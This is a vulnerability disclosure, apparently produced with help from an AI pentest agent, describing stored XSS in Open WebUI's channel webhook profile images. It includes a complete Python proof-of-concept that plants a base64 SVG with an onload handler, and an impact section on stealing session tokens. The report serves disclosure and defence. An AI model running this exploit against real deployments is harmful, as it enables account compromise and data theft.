As part of our research on improving our AI pentest, we have uncovered the following issue in Open WebUI. We've manually verified and tided up the report, but you can also find the original agent finding at the bottom of this report.

Summary

The channel webhook create/update flow accepts arbitrary profile_image_url values, including data:image/svg+xml;base64,... payloads. The profile image endpoint then decodes and serves this SVG as image/svg+xml without sanitization, allowing attacker-controlled script handlers (for example onload) to execute when the profile-image URL is opened in the browser.

Details

The server accepts data:image/svg+xml;base64,... values for profile_image_url when creating or updating a webhook. Later, GET /api/v1/channels/webhooks/{webhook_id}/profile/image detects data:image, base64-decodes it, derives the media type from the header (e.g., image/svg+xml), and returns a StreamingResponse with Content-Disposition: inline and media_type set to image/svg+xml. There is no sanitization or transformation. When this URL is opened in a browser, SVG event handlers such as onload execute in the application origin, resulting in stored XSS.

PoC

1. Set up a new instance of Open WebUI and log in as admin
2. In the Admin Panel, enable Channels (Beta) and click Save
3. Create a low-privilege user in the Users tab
4. As the attacker, use the low-privilege user to run the following script:

import base64
import secrets

import requests

BASE_URL = "http://127.0.0.1:14000"
EMAIL = "low@local.test"
PASSWORD = "low"

CHANNEL_NAME_PREFIX = "xsswh-poc"
WEBHOOK_NAME = "xss-webhook-poc"
SVG_CANARY = '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(origin)"></svg>'

if __name__ == "__main__":
    s = requests.Session()
    s.headers.update({"Content-Type": "application/json"})

    r = s.post(
        f"{BASE_URL}/api/v1/auths/signin",
        json={"email": EMAIL, "password": PASSWORD},
        timeout=30,
    )
    r.raise_for_status()
    s.headers["Authorization"] = f"Bearer {r.json()['token']}"

    r = s.post(
        f"{BASE_URL}/api/v1/channels/create",
        json={
            "name": f"{CHANNEL_NAME_PREFIX}-{secrets.token_hex(4)}",
            "type": "group",
            "user_ids": [],
            "group_ids": [],
        },
        timeout=30,
    )
    r.raise_for_status()
    channel_id = r.json()["id"]

    payload = "data:image/svg+xml;base64," + base64.b64encode(SVG_CANARY.encode()).decode()
    r = s.post(
        f"{BASE_URL}/api/v1/channels/{channel_id}/webhooks/create",
        json={"name": WEBHOOK_NAME, "profile_image_url": payload},
        timeout=30,
    )
    r.raise_for_status()
    webhook_id = r.json()["id"]

    print(f"{BASE_URL}/api/v1/channels/webhooks/{webhook_id}/profile/image")

This should print a URL like the following, which when visited (by any user), triggers a JavaScript popup proving XSS:

http://127.0.0.1:14000/api/v1/channels/webhooks/aa7c925f-4584-4274-82bf-33a7e98a3365/profile/image

Impact

Conditions required: The victim must be an authenticated, verified user. Channel feature must be enabled.

Stored XSS enables arbitrary JavaScript execution in the context of the application's origin for any viewer who loads the malicious profile image URL. An attacker can exfiltrate session tokens (localstorage) or API keys stored in the page context, perform unauthorized actions on behalf of the victim via same-origin APIs, alter settings, or pivot to broader account compromise. Because this vector is persisted in the database as part of a webhook's profile image, it remains active until removed.

Original Agent Report